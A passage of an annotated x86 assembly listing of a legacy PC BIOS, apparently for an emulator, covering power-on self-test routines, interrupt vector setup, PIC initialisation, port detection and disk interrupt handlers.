db 08ah, 0c4h
; mov al, ah ; 8a c4
db 00ah, 0c0h
; or al, al ; 0a c0
jne short 0e085h ; 75 0d
mov ds, [cs:0e04fh] ; 2e 8e 1e 4f e0
cmp word [word 00072h], 01234h ; 81 3e 72 00 34 12
jne short 0e05eh ; 75 d9
mov AL, strict byte 00fh ; b0 0f
out strict byte 070h, AL ; e6 70
mov AL, strict byte 000h ; b0 00
out strict byte 071h, AL ; e6 71
db 08ah, 0c4h
; mov al, ah ; 8a c4
cmp AL, strict byte 009h ; 3c 09
je short 0e0a5h ; 74 12
cmp AL, strict byte 00ah ; 3c 0a
je short 0e0a5h ; 74 0e
db 032h, 0c0h
; xor al, al ; 32 c0
out strict byte 00dh, AL ; e6 0d
out strict byte 0dah, AL ; e6 da
mov AL, strict byte 0c0h ; b0 c0
out strict byte 0d6h, AL ; e6 d6
mov AL, strict byte 000h ; b0 00
out strict byte 0d4h, AL ; e6 d4
db 08ah, 0c4h
; mov al, ah ; 8a c4
cmp AL, strict byte 000h ; 3c 00
je short 0e0c0h ; 74 15
cmp AL, strict byte 00dh ; 3c 0d
jnc short 0e0c0h ; 73 11
cmp AL, strict byte 009h ; 3c 09
jne short 0e0b6h ; 75 03
jmp near 0e350h ; e9 9a 02
cmp AL, strict byte 005h ; 3c 05
je short 0e044h ; 74 8a
cmp AL, strict byte 00ah ; 3c 0a
je short 0e047h ; 74 89
jmp short 0e0c0h ; eb 00
normal_post: ; 0xfe0c0 LB 0x1f3
mov ax, 07800h ; b8 00 78
db 08bh, 0e0h
; mov sp, ax ; 8b e0
db 033h, 0c0h
; xor ax, ax ; 33 c0
mov ds, ax ; 8e d8
mov ss, ax ; 8e d0
mov es, ax ; 8e c0
db 033h, 0ffh
; xor di, di ; 33 ff
cld ; fc
mov cx, 00239h ; b9 39 02
rep stosw ; f3 ab
inc di ; 47
inc di ; 47
mov cx, 005c6h ; b9 c6 05
rep stosw ; f3 ab
db 033h, 0dbh
; xor bx, bx ; 33 db
add bx, 01000h ; 81 c3 00 10
cmp bx, 09000h ; 81 fb 00 90
jnc short 0e0f3h ; 73 0b
mov es, bx ; 8e c3
db 033h, 0ffh
; xor di, di ; 33 ff
mov cx, 08000h ; b9 00 80
rep stosw ; f3 ab
jmp short 0e0deh ; eb eb
mov es, bx ; 8e c3
db 033h, 0ffh
; xor di, di ; 33 ff
mov cx, 07ff8h ; b9 f8 7f
rep stosw ; f3 ab
db 033h, 0dbh
; xor bx, bx ; 33 db
push CS ; 0e
pop DS ; 1f
cld ; fc
call 01775h ; e8 71 36
db 033h, 0dbh
; xor bx, bx ; 33 db
mov ds, bx ; 8e db
mov cx, strict word 00060h ; b9 60 00
mov ax, 0ff53h ; b8 53 ff
mov dx, 0f000h ; ba 00 f0
call 0e039h ; e8 25 ff
mov bx, 001a0h ; bb a0 01
mov cx, strict word 00010h ; b9 10 00
call 0e039h ; e8 1c ff
mov ax, 0027fh ; b8 7f 02
mov word [00413h], ax ; a3 13 04
mov ax, 0e9dah ; b8 da e9
mov word [00018h], ax ; a3 18 00
mov ax, 0f000h ; b8 00 f0
mov word [0001ah], ax ; a3 1a 00
mov ax, 0f84dh ; b8 4d f8
mov word [00044h], ax ; a3 44 00
mov ax, 0f000h ; b8 00 f0
mov word [00046h], ax ; a3 46 00
mov ax, 0f841h ; b8 41 f8
mov word [00048h], ax ; a3 48 00
mov ax, 0f000h ; b8 00 f0
mov word [0004ah], ax ; a3 4a 00
mov ax, 0f859h ; b8 59 f8
mov word [00054h], ax ; a3 54 00
mov ax, 0f000h ; b8 00 f0
mov word [00056h], ax ; a3 56 00
mov ax, 0efd4h ; b8 d4 ef
mov word [0005ch], ax ; a3 5c 00
mov ax, 0f000h ; b8 00 f0
mov word [0005eh], ax ; a3 5e 00
mov ax, 0f0a4h ; b8 a4 f0
mov word [00060h], ax ; a3 60 00
mov ax, 0f000h ; b8 00 f0
mov word [00062h], ax ; a3 62 00
mov ax, 0e6f2h ; b8 f2 e6
mov word [00064h], ax ; a3 64 00
mov ax, 0f000h ; b8 00 f0
mov word [00066h], ax ; a3 66 00
mov ax, 0effbh ; b8 fb ef
mov word [00070h], ax ; a3 70 00
mov ax, 0f000h ; b8 00 f0
mov word [00072h], ax ; a3 72 00
call 0e794h ; e8 0e 06
mov ax, 0fe6eh ; b8 6e fe
mov word [00068h], ax ; a3 68 00
mov ax, 0f000h ; b8 00 f0
mov word [0006ah], ax ; a3 6a 00
mov ax, 0fea5h ; b8 a5 fe
mov word [00020h], ax ; a3 20 00
mov ax, 0f000h ; b8 00 f0
mov word [00022h], ax ; a3 22 00
mov AL, strict byte 034h ; b0 34
out strict byte 043h, AL ; e6 43
mov AL, strict byte 000h ; b0 00
out strict byte 040h, AL ; e6 40
out strict byte 040h, AL ; e6 40
mov ax, 0f065h ; b8 65 f0
mov word [00040h], ax ; a3 40 00
mov ax, 0f000h ; b8 00 f0
mov word [00042h], ax ; a3 42 00
mov ax, 0e987h ; b8 87 e9
mov word [00024h], ax ; a3 24 00
mov ax, 0f000h ; b8 00 f0
mov word [00026h], ax ; a3 26 00
mov ax, 0e82eh ; b8 2e e8
mov word [00058h], ax ; a3 58 00
mov ax, 0f000h ; b8 00 f0
mov word [0005ah], ax ; a3 5a 00
db 033h, 0c0h
; xor ax, ax ; 33 c0
mov ds, ax ; 8e d8
mov byte [00417h], AL ; a2 17 04
mov byte [00418h], AL ; a2 18 04
mov byte [00419h], AL ; a2 19 04
mov byte [00471h], AL ; a2 71 04
mov byte [00497h], AL ; a2 97 04
mov AL, strict byte 010h ; b0 10
mov byte [00496h], AL ; a2 96 04
mov bx, strict word 0001eh ; bb 1e 00
mov word [0041ah], bx ; 89 1e 1a 04
mov word [0041ch], bx ; 89 1e 1c 04
mov word [00480h], bx ; 89 1e 80 04
mov bx, strict word 0003eh ; bb 3e 00
mov word [00482h], bx ; 89 1e 82 04
mov AL, strict byte 014h ; b0 14
out strict byte 070h, AL ; e6 70
in AL, strict byte 071h ; e4 71
mov byte [00410h], AL ; a2 10 04
push DS ; 1e
push CS ; 0e
pop DS ; 1f
cld ; fc
mov ax, 0c000h ; b8 00 c0
mov dx, 0c800h ; ba 00 c8
call 01600h ; e8 f0 33
call 0503ch ; e8 29 6e
pop DS ; 1f
mov ax, 0ff53h ; b8 53 ff
mov word [0003ch], ax ; a3 3c 00
mov ax, 0f000h ; b8 00 f0
mov word [0003eh], ax ; a3 3e 00
db 033h, 0c0h
; xor ax, ax ; 33 c0
mov ds, ax ; 8e d8
db 033h, 0dbh
; xor bx, bx ; 33 db
mov CL, strict byte 014h ; b1 14
mov dx, 00378h ; ba 78 03
call 0ed0ah ; e8 dc 0a
mov dx, 00278h ; ba 78 02
call 0ed0ah ; e8 d6 0a
push cx ; 51
mov CL, strict byte 00eh ; b1 0e
sal bx, CL ; d3 e3
pop cx ; 59
mov ax, word [00410h] ; a1 10 04
and ax, 03fffh ; 25 ff 3f
db 00bh, 0c3h
; or ax, bx ; 0b c3
mov word [00410h], ax ; a3 10 04
mov ax, 0e754h ; b8 54 e7
mov word [0002ch], ax ; a3 2c 00
mov ax, 0f000h ; b8 00 f0
mov word [0002eh], ax ; a3 2e 00
mov ax, 0e754h ; b8 54 e7
mov word [00030h], ax ; a3 30 00
mov ax, 0f000h ; b8 00 f0
mov word [00032h], ax ; a3 32 00
mov ax, 0e739h ; b8 39 e7
mov word [00050h], ax ; a3 50 00
mov ax, 0f000h ; b8 00 f0
mov word [00052h], ax ; a3 52 00
db 033h, 0dbh
; xor bx, bx ; 33 db
mov CL, strict byte 00ah ; b1 0a
mov dx, 003f8h ; ba f8 03
call 0ed28h ; e8 b5 0a
mov dx, 002f8h ; ba f8 02
call 0ed28h ; e8 af 0a
mov dx, 003e8h ; ba e8 03
call 0ed28h ; e8 a9 0a
mov dx, 002e8h ; ba e8 02
call 0ed28h ; e8 a3 0a
push cx ; 51
mov CL, strict byte 009h ; b1 09
sal bx, CL ; d3 e3
pop cx ; 59
mov ax, word [00410h] ; a1 10 04
and ax, 0f1ffh ; 25 ff f1
db 00bh, 0c3h
; or ax, bx ; 0b c3
mov word [00410h], ax ; a3 10 04
mov ax, 0ff53h ; b8 53 ff
mov word [00128h], ax ; a3 28 01
mov ax, 0f000h ; b8 00 f0
mov word [0012ah], ax ; a3 2a 01
mov ax, 0f915h ; b8 15 f9
mov word [001c0h], ax ; a3 c0 01
mov ax, 0f000h ; b8 00 f0
mov word [001c2h], ax ; a3 c2 01
call 0ede3h ; e8 32 0b
jmp short 0e303h ; eb 50
biosorg_check_before_or_at_0E2C1h: ; 0xfe2b3 LB 0x10
times 0xe db 0
db 'XM'
nmi: ; 0xfe2c3 LB 0x7
push CS ; 0e
pop DS ; 1f
cld ; fc
call 0174bh ; e8 82 34
iret ; cf
int75_handler: ; 0xfe2ca LB 0x8
out strict byte 0f0h, AL ; e6 f0
call 0e030h ; e8 61 fd
int 002h ; cd 02
iret ; cf
hard_drive_post: ; 0xfe2d2 LB 0xa7
db 033h, 0c0h
; xor ax, ax ; 33 c0
mov ds, ax ; 8e d8
mov byte [00474h], AL ; a2 74 04
mov byte [00477h], AL ; a2 77 04
mov byte [0048ch], AL ; a2 8c 04
mov byte [0048dh], AL ; a2 8d 04
mov byte [0048eh], AL ; a2 8e 04
mov AL, strict byte 0c0h ; b0 c0
mov byte [00476h], AL ; a2 76 04
mov ax, 0e3feh ; b8 fe e3
mov word [0004ch], ax ; a3 4c 00
mov ax, 0f000h ; b8 00 f0
mov word [0004eh], ax ; a3 4e 00
mov ax, 0f903h ; b8 03 f9
mov word [001d8h], ax ; a3 d8 01
mov ax, 0f000h ; b8 00 f0
mov word [001dah], ax ; a3 da 01
retn ; c3
mov ax, 0f8c9h ; b8 c9 f8
mov word [001d0h], ax ; a3 d0 01
mov ax, 0f000h ; b8 00 f0
mov word [001d2h], ax ; a3 d2 01
mov ax, 0e2cah ; b8 ca e2
mov word [001d4h], ax ; a3 d4 01
mov ax, 0f000h ; b8 00 f0
mov word [001d6h], ax ; a3 d6 01
call 0e76fh ; e8 51 04
push CS ; 0e
pop DS ; 1f
cld ; fc
call 01cc5h ; e8 a1 39
call 02154h ; e8 2d 3e
sti ; fb
call 09a44h ; e8 19 b7
cli ; fa
call 08891h ; e8 62 a5
call 0ed4ch ; e8 1a 0a
call 0e2d2h ; e8 9d ff
push CS ; 0e
pop DS ; 1f
cld ; fc
mov ax, 0c800h ; b8 00 c8
mov dx, 0f000h ; ba 00 f0
call 01600h ; e8 bf 32
call 01799h ; e8 55 34
call 03c55h ; e8 0e 59
sti ; fb
int 019h ; cd 19
sti ; fb
hlt ; f4
jmp short 0e34bh ; eb fd
cli ; fa
hlt ; f4
mov ax, strict word 00040h ; b8 40 00
mov ds, ax ; 8e d8
mov ss, [word 00069h] ; 8e 16 69 00
mov sp, word [word 00067h] ; 8b 26 67 00
in AL, strict byte 092h ; e4 92
and AL, strict byte 0fdh ; 24 fd
out strict byte 092h, AL ; e6 92
lidt [cs:0eff5h] ; 2e 0f 01 1e f5 ef
pop DS ; 1f
pop ES ; 07
db 08bh, 0ech
; mov bp, sp ; 8b ec
in AL, strict byte 080h ; e4 80
mov byte [bp+00fh], al ; 88 46 0f
db 03ah, 0e0h
; cmp ah, al ; 3a e0
popaw ; 61
sti ; fb
retf 00002h ; ca 02 00
biosorg_check_before_or_at_0E3FCh: ; 0xfe379 LB 0x85
times 0x83 db 0
db 'XM'
int13_handler: ; 0xfe3fe LB 0x3
jmp near 0ec5bh ; e9 5a 08
rom_fdpt: ; 0xfe401 LB 0x2f1
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 058h
db 04dh
int19_handler: ; 0xfe6f2 LB 0x3
jmp near 0f0ach ; e9 b7 09
biosorg_check_at_0E6F5h: ; 0xfe6f5 LB 0xa
or word [bx+si], ax ; 09 00
sti ; fb
add byte [bx+di], al ; 00 01
je short 0e73ch ; 74 40
times 0x3 db 0
biosorg_check_before_or_at_0E727h: ; 0xfe6ff LB 0x2a
times 0x28 db 0
db 'XM'
biosorg_check_at_0E729h: ; 0xfe729 LB 0x10
times 0xe db 0
db 'XM'
biosorg_check_at_0E739h: ; 0xfe739 LB 0x36
push DS ; 1e
push ES ; 06
push ax ; 50
push cx ; 51
push dx ; 52
push bx ; 53
push sp ; 54
push bp ; 55
push si ; 56
push di ; 57
push CS ; 0e
pop DS ; 1f
cld ; fc
call 065ffh ; e8 b6 7e
pop di ; 5f
pop si ; 5e
pop bp ; 5d
pop bx ; 5b
pop bx ; 5b
pop dx ; 5a
pop cx ; 59
pop ax ; 58
pop ES ; 07
pop DS ; 1f
iret ; cf
push DS ; 1e
push ES ; 06
push ax ; 50
push cx ; 51
push dx ; 52
push bx ; 53
push sp ; 54
push bp ; 55
push si ; 56
push di ; 57
push CS ; 0e
pop DS ; 1f
cld ; fc
call 016e6h ; e8 82 2f
pop di ; 5f
pop si ; 5e
pop bp ; 5d
pop bx ; 5b
pop bx ; 5b
pop dx ; 5a
pop cx ; 59
pop ax ; 58
pop ES ; 07
pop DS ; 1f
iret ; cf
init_pic: ; 0xfe76f LB 0x25
mov AL, strict byte 011h ; b0 11
out strict byte 020h, AL ; e6 20
out strict byte 0a0h, AL ; e6 a0
mov AL, strict byte 008h ; b0 08
out strict byte 021h, AL ; e6 21
mov AL, strict byte 070h ; b0 70
out strict byte 0a1h, AL ; e6 a1
mov AL, strict byte 004h ; b0 04
out strict byte 021h, AL ; e6 21
mov AL, strict byte 002h ; b0 02
out strict byte 0a1h, AL ; e6 a1
mov AL, strict byte 001h ; b0 01
out strict byte 021h, AL ; e6 21
out strict byte 0a1h, AL ; e6 a1
mov AL, strict byte 0b8h ; b0 b8
out strict byte 021h, AL ; e6 21
mov AL, strict byte 08fh ; b0 8f
out strict byte 0a1h, AL ; e6 a1
retn ; c3
ebda_post: ; 0xfe794 LB 0x51
mov ax, 0e754h ; b8 54 e7
mov word [00034h], ax ; a3 34 00
mov ax, 0f000h ; b8 00 f0
mov word [00036h], ax ; a3 36 00
mov ax, 0e754h ; b8 54 e7
mov word [0003ch], ax ; a3 3c 00
mov ax, 0f000h ; b8 00 f0
mov word [0003eh], ax ; a3 3e 00
mov ax, 0e754h ; b8 54 e7
mov word [001c8h], ax ; a3 c8 01
mov ax, 0f000h ; b8 00 f0
mov word [001cah], ax ; a3 ca 01
mov ax, 0e754h ; b8 54 e7
mov word [001cch], ax ; a3 cc 01
mov ax, 0f000h ; b8 00 f0
mov word [001ceh], ax ; a3 ce 01
mov ax, 0e754h ; b8 54 e7
mov word [001dch], ax ; a3 dc 01
mov ax, 0f000h ; b8 00 f0
mov word [001deh], ax ; a3 de 01
mov ax, 09fc0h ; b8 c0 9f
mov ds, ax ; 8e d8
mov byte [word 00000h], 001h ; c6 06 00 00 01
db 033h, 0c0h
; xor ax, ax ; 33 c0
mov ds, ax ; 8e d8
mov word [0040eh], 09fc0h ; c7 06 0e 04 c0 9f
retn ; c3
biosorg_check_before_or_at_0E82Ch: ; 0xfe7e5 LB 0x49
times 0x47 db 0
db 'XM'
biosorg_check_at_0E82Eh: ; 0xfe82e LB 0x52
sti ; fb
pushfw ; 9c
push ES ; 06
push DS ; 1e
push ax ; 50
push cx ; 51
push dx ; 52
push bx ; 53
push sp ; 54
push bp ; 55
push si ; 56
push di ; 57
cmp ah, 000h ; 80 fc 00
je short 0e858h ; 74 19
cmp ah, 010h ; 80 fc 10
je short 0e858h ; 74 14
push CS ; 0e
pop DS ; 1f
cld ; fc
call 058a5h ; e8 5b 70
pop di ; 5f
pop si ; 5e
pop bp ; 5d
pop bx ; 5b
pop bx ; 5b
pop dx ; 5a
pop cx ; 59
pop ax ; 58
pop DS ; 1f
pop ES ; 07
add sp, strict byte 00002h ; 83 c4 02
iret ; cf
mov bx, strict word 00040h ; bb 40 00
mov ds, bx ; 8e db
cli ; fa
mov bx, word [word 0001ah] ; 8b 1e 1a 00
cmp bx, word [word 0001ch] ; 3b 1e 1c 00
jne short 0e86ch ; 75 04
sti ; fb
nop ; 90
jmp short 0e85dh ; eb f1
push CS ; 0e
pop DS ; 1f
cld ; fc
call 058a5h ; e8 33 70
pop di ; 5f
pop si ; 5e
pop bp ; 5d
pop bx ; 5b
pop bx ; 5b
pop dx ; 5a
pop cx ; 59
pop ax ; 58
pop DS ; 1f
pop ES ; 07
add sp, strict byte 00002h ; 83 c4 02
iret ; cf
biosorg_check_before_or_at_0E985h: ; 0xfe880 LB 0x107
times 0x105 db 0
db 'XM'
biosorg_check_at_0E987h: ; 0xfe987 LB 0x6e
cli ; fa
push ax ; 50
mov AL, strict byte 0adh ; b0 ad
out strict byte 064h, AL ; e6 64
in AL, strict byte 060h ; e4 60
push DS ; 1e
push ax ; 50
push cx ; 51
push dx ; 52
push bx ; 53
push sp ; 54
push bp ; 55
push si ; 56
push di ; 57
cld ; fc
mov AH, strict byte 04fh ; b4 4f
stc ; f9
int 015h ; cd 15
jnc short 0e9c7h ; 73 27
sti ; fb
cmp AL, strict byte 0e0h ; 3c e0
jne short 0e9b0h ; 75 0b
db 033h, 0c0h
; xor ax, ax ; 33 c0
mov ds, ax ; 8e d8
or byte [00496h], 002h ; 80 0e 96 04 02
jmp short 0e9c7h ; eb 17
cmp AL, strict byte 0e1h ; 3c e1
jne short 0e9bfh ; 75 0b
db 033h, 0c0h
; xor ax, ax ; 33 c0
mov ds, ax ; 8e d8
or byte [00496h], 001h ; 80 0e 96 04 01
jmp short 0e9c7h ; eb 08
push ES ; 06
push CS ; 0e
pop DS ; 1f
cld ; fc
call 05344h ; e8 7e 69
pop ES ; 07
pop di ; 5f
pop si ; 5e
pop bp ; 5d
pop bx ; 5b
pop bx ; 5b
pop dx ; 5a
pop cx ; 59
pop ax ; 58
pop DS ; 1f
cli ; fa
call 0e034h ; e8 60 f6
mov AL, strict byte 0aeh ; b0 ae
out strict byte 064h, AL ; e6 64
pop ax ; 58
iret ; cf
push ax ; 50
push cx ; 51
push dx ; 52
push bx ; 53
push sp ; 54
push bp ; 55
push si ; 56
push di ; 57
push ES ; 06
push DS ; 1e
push CS ; 0e
pop DS ; 1f
cld ; fc
call 06f37h ; e8 4d 85
pop DS ; 1f
pop ES ; 07
pop di ; 5f
pop si ; 5e
pop bp ; 5d
pop bx ; 5b
pop bx ; 5b
pop dx ; 5a
pop cx ; 59
pop ax ; 58
iret ; cf
biosorg_check_before_or_at_0EC57h: ; 0xfe9f5 LB 0x264
times 0x262 db 0
db 'XM'
biosorg_check_at_0EC59h: ; 0xfec59 LB 0x2
jmp short 0ecc4h ; eb 69
int13_relocated: ; 0xfec5b LB 0x1f
cmp ah, 04ah ; 80 fc 4a
jc short 0ec7ch ; 72 1c
cmp ah, 04dh ; 80 fc 4d
jnbe short 0ec7ch ; 77 17
push ax ; 50
push cx ; 51
push dx ; 52
push bx ; 53
push sp ; 54
push bp ; 55
push si ; 56
push di ; 57
push ES ; 06
push DS ; 1e
push CS ; 0e
pop DS ; 1f
cld ; fc
push word [cs:0ec7ah] ; 2e ff 36 7a ec
jmp near 03c99h ; e9 1f 50
jmp_call_ret_int13_out: ; 0xfec7a LB 0x4a
db 0ffh
in AL, DX ; ec
push ES ; 06
push ax ; 50
push bx ; 53
push cx ; 51
push dx ; 52
call 03c6dh ; e8 e9 4f
cmp AL, strict byte 000h ; 3c 00
je short 0ecbfh ; 74 37
call 03c83h ; e8 f8 4f
pop dx ; 5a
push dx ; 52
db 03ah, 0c2h
; cmp al, dl ; 3a c2
jne short 0ecabh ; 75 1a
pop dx ; 5a
pop cx ; 59
pop bx ; 5b
pop ax ; 58
pop ES ; 07
push ax ; 50
push cx ; 51
push dx ; 52
push bx ; 53
push sp ; 54
push bp ; 55
push si ; 56
push di ; 57
push ES ; 06
push DS ; 1e
push CS ; 0e
pop DS ; 1f
cld ; fc
push word [cs:0ec7ah] ; 2e ff 36 7a ec
jmp near 042a7h ; e9 fc 55
and dl, 0e0h ; 80 e2 e0
db 03ah, 0c2h
; cmp al, dl ; 3a c2
jne short 0ecbfh ; 75 0d
pop dx ; 5a
pop cx ; 59
pop bx ; 5b
pop ax ; 58
pop ES ; 07
push ax ; 50
push cx ; 51
push dx ; 52
push bx ; 53
db 0feh, 0cah
; dec dl ; fe ca
jmp short 0ecc8h ; eb 09
pop dx ; 5a
pop cx ; 59
pop bx ; 5b
pop ax ; 58
pop ES ; 07
int13_noeltorito: ; 0xfecc4 LB 0x4
push ax ; 50
push cx ; 51
push dx ; 52
push bx ; 53
int13_legacy: ; 0xfecc8 LB 0x16
push dx ; 52
push bp ; 55
push si ; 56
push di ; 57
push ES ; 06
push DS ; 1e
push CS ; 0e
pop DS ; 1f
cld ; fc
test dl, 080h ; f6 c2 80
jne short 0ecdeh ; 75 08
push word [cs:0ec7ah] ; 2e ff 36 7a ec
jmp near 0321fh ; e9 41 45
int13_notfloppy: ; 0xfecde LB 0x14
cmp dl, 0e0h ; 80 fa e0
jc short 0ecf2h ; 72 0f
shr ebx, 010h ; 66 c1 eb 10
push bx ; 53
call 046fah ; e8 0f 5a
pop bx ; 5b
sal ebx, 010h ; 66 c1 e3 10
jmp short 0ecffh ; eb 0d
int13_disk: ; 0xfecf2 LB 0xd
cmp ah, 040h ; 80 fc 40
jnbe short 0ecfch ; 77 05
call 05c8ah ; e8 90 6f
jmp short 0ecffh ; eb 03
call 060d4h ; e8 d5 73
int13_out: ; 0xfecff LB 0xb
pop DS ; 1f
pop ES ; 07
pop di ; 5f
pop si ; 5e
pop bp ; 5d
pop bx ; 5b
pop bx ; 5b
pop dx ; 5a
pop cx ; 59
pop ax ; 58
iret ; cf
detect_parport: ; 0xfed0a LB 0x1e
push dx ; 52
inc dx ; 42
inc dx ; 42
in AL, DX ; ec
and AL, strict byte 0dfh ; 24 df
out DX, AL ; ee
pop dx ; 5a
mov AL, strict byte 0aah ; b0 aa
out DX, AL ; ee
in AL, DX ; ec
cmp AL, strict byte 0aah ; 3c aa
jne short 0ed27h ; 75 0d
push bx ; 53
sal bx, 1 ; d1 e3
mov word [bx+00408h], dx ; 89 97 08 04
pop bx ; 5b
mov byte [bx+00478h], cl ; 88 8f 78 04
inc bx ; 43
retn ; c3
detect_serial: ; 0xfed28 LB 0x24
push dx ; 52
inc dx ; 42
mov AL, strict byte 002h ; b0 02
out DX, AL ; ee
in AL, DX ; ec
cmp AL, strict byte 002h ; 3c 02
jne short 0ed4ah ; 75 18
inc dx ; 42
in AL, DX ; ec
cmp AL, strict byte 002h ; 3c 02
jne short 0ed4ah ; 75 12
dec dx ; 4a
db 032h, 0c0h
; xor al, al ; 32 c0
pop dx ; 5a
push bx ; 53
sal bx, 1 ; d1 e3
mov word [bx+00400h], dx ; 89 97 00 04
pop bx ; 5b
mov byte [bx+0047ch], cl ; 88 8f 7c 04
inc bx ; 43
retn ; c3
pop dx ; 5a
retn ; c3
floppy_post: ; 0xfed4c LB 0x8c
db 033h, 0c0h
; xor ax, ax ; 33 c0
mov ds, ax ; 8e d8
mov AL, strict byte 000h ; b0 00
mov byte [0043eh], AL ; a2 3e 04
mov byte [0043fh], AL ; a2 3f 04
mov byte [00440h], AL ; a2 40 04
mov byte [00441h], AL ; a2 41 04
mov byte [00442h], AL ; a2 42 04
mov byte [00443h], AL ; a2 43 04
mov byte [00444h], AL ; a2 44 04
mov byte [00445h], AL ; a2 45 04
mov byte [00446h], AL ; a2 46 04
mov byte [00447h], AL ; a2 47 04
mov byte [00448h], AL ; a2 48 04
mov byte [0048bh], AL ; a2 8b 04
mov AL, strict byte 010h ; b0 10
out strict byte 070h, AL ; e6 70
in AL, strict byte 071h ; e4 71
db 08ah, 0e0h
; mov ah, al ; 8a e0
shr al, 1 ; d0 e8
